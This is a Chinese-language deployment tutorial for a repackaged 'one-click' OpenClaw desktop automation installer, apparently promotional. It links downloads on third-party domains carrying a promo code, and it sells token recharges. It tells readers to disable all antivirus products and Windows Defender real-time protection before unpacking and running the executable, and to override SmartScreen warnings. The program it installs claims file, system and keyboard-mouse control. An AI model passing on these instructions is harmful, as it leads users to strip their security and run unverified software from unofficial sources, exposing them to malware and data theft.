OpenClaw 一键部署教程｜避开环境配置繁琐步骤

适配系统：Windows10/11 64 位、macOS12+ Windows 版本：v3.1.0（虾壳云版） macOS 版本：v2.7.9

工具简介

OpenClaw 是一款面向电脑自动化场景的工具，依靠图形化交互完成全部部署流程，不必手动配置 Python、Node.js 等运行环境，相关依赖全部内置在安装包内。普通用户花费数分钟就可以完成整套部署，降低自动化工具的上手门槛。

各系统安装包下载地址：

• Windows v3.1.0：https://xiake.yun/api/download/package/28?promoCode=IV4E9B04A80C
• macOS v2.7.9：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C

Windows 端安装包体积约 45.8MB，推荐使用浏览器自带下载工具或者迅雷下载，减少下载中断带来的文件损坏问题。

安装前重要注意事项

在解压、安装以及启动程序之前，请关闭本机全部安全防护程序，包括 360 安全卫士、腾讯电脑管家、火绒，同时关闭 Windows Defender 实时防护。

该工具拥有文件读写、系统操控、键鼠模拟等能力，很容易被安全软件判定为风险程序。防护软件拦截、删除程序文件，是安装失败的高频诱因。项目属于开源项目，感兴趣的用户可以前往 GitHub 查验项目源码，关闭防护软件后再开展后续操作。

步骤 1：获取对应平台的安装压缩包

复制上方对应系统的下载链接，获取安装压缩包。下载完毕后，在浏览器下载目录或者桌面找到压缩文件。

步骤 2：解压程序，选定合法安装目录

优先使用 WinRAR、7‑Zip 进行解压，系统自带解压工具容易出现解压不全、文件损坏的情况。右键压缩包，选择解压到当前文件夹，生成 Openclaw‑win 文件夹。

打开解压后的文件夹，双击 Openclaw Windows 一键启动.exe，程序带有红色龙虾图标便于识别。 遇到 Windows SmartScreen 安全拦截弹窗，点击更多信息 → 仍要运行继续执行。

进入欢迎界面后，点击底部「开始使用」，进入安装路径选择页面。

⚠️路径硬性规范：安装目录必须全部为英文，禁止中文、空格、特殊符号。不建议安装到 C 盘，避免占用系统盘存储空间。 ✅推荐路径：D:\OpenClaw、E:\AI\OpenClaw ❌不规范路径：D:\工具\OpenClaw、D:\大龙虾

勾选《用户协议》与《免责声明》，点击「开始安装」。

步骤 3：全自动执行部署流程

点击开始安装之后，全部部署工作交由程序自动完成，用户无需进行额外操作。整体耗时 3‑5 分钟，实际时间受电脑硬件性能影响。切勿关闭安装窗口，否则会直接中断部署。

程序自动完成的工作：

1. 检测本机运行环境，自动补齐 Git、Node.js、Python 等缺失组件
2. 部署 OpenClaw 核心项目文件，适配 Windows 运行环境
3. 部署浏览器控制模块、键鼠模拟组件，支撑自动化任务执行
4. 生成专属.env配置文件，完成初始化，同时生成桌面快捷方式

进度条到达 100% 之后，程序会自动拉起 OpenClaw 主程序。

步骤 4：第一次启动，确认服务正常运行

安装结束自动跳转初始化页面，页面提示「正在等待 Gateway 就绪...」。第一次启动需要完成服务初始化，等待 1‑3 分钟属于正常现象，后续再次启动仅需几秒。

页面右上角出现Gateway 在线标识，就代表部署完成。界面各区域作用：

• 右上角：Gateway 运行状态、重启、日志查看按钮，展示剩余 Tokens 额度，内置 28.00 万 Tokens 额度，可供体验各类功能
• 左侧：「本地」「渠道」切换栏，支持新建对话、查看历史会话
• 中间：对话窗口，内置 AI 助手智能体，支持多模型切换，代码片段支持高亮显示
• 底部：指令输入框，Enter 发送消息，Shift+Enter 换行，支持自动、普通两种工作模式

步骤 5：输入自然语言指令执行自动化任务

部署完成无需额外配置，直接在底部输入框输入自然语言描述，工具就会解析任务逻辑，调用对应能力操控电脑完成工作。指令描述越详尽，执行效果越稳定。

新手测试指令，可以直接复制使用

帮我整理 D 盘下载文件夹，按文件类型分类创建文件夹
打开记事本，输入 “OpenClaw 部署成功”，保存到桌面
查询当前电脑的磁盘可用空间，整理成文字告诉我

常见问题处理方案

安装报错、打开程序无响应

确认所有安全防护软件已经完全关闭；关闭后依旧异常，重新解压压缩包再尝试安装。

Gateway 一直显示离线

1. 检查安装路径，确认没有中文、特殊字符；
2. 点击右上角重启按钮，重启 Gateway 服务；
3. 完全关闭软件，右键选择以管理员身份运行。

提示网络异常

第一次启动需要网络完成部分初始化工作，请确认网络连通，关闭代理、VPN 后重试。

Tokens 额度不足

内置 28 万 Tokens 可以支撑基础功能体验，额度耗尽后可以在界面内完成充值，不会影响软件本体核心能力。

无法输入、发送消息失败

等待 Gateway 状态变为在线之后再进行操作；问题依旧存在，建议重新安装。

实操建议

1. 安装磁盘建议预留 5G 以上空闲空间，用于后续技能扩展、模型缓存存储。
2. 桌面快捷方式生成完成后，后续直接双击快捷方式启动，不用反复解压安装包。
3. 需要对接飞书、微信等聊天渠道，部署完成后进入「设置」→「聊天渠道」完成配置，即可通过聊天窗口下发任务。
4. 版本更新直接下载新版本安装包覆盖原有文件夹，不需要卸载旧版本。

各系统安装包下载地址：

• Windows v3.1.0：https://xiake.yun/api/download/package/28?promoCode=IV4E9B04A80C
• macOS v2.7.9：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C

项目会持续迭代更新，后续将输出技能拓展、本地大模型接入、多渠道联动相关教程，可以持续关注项目相关动态。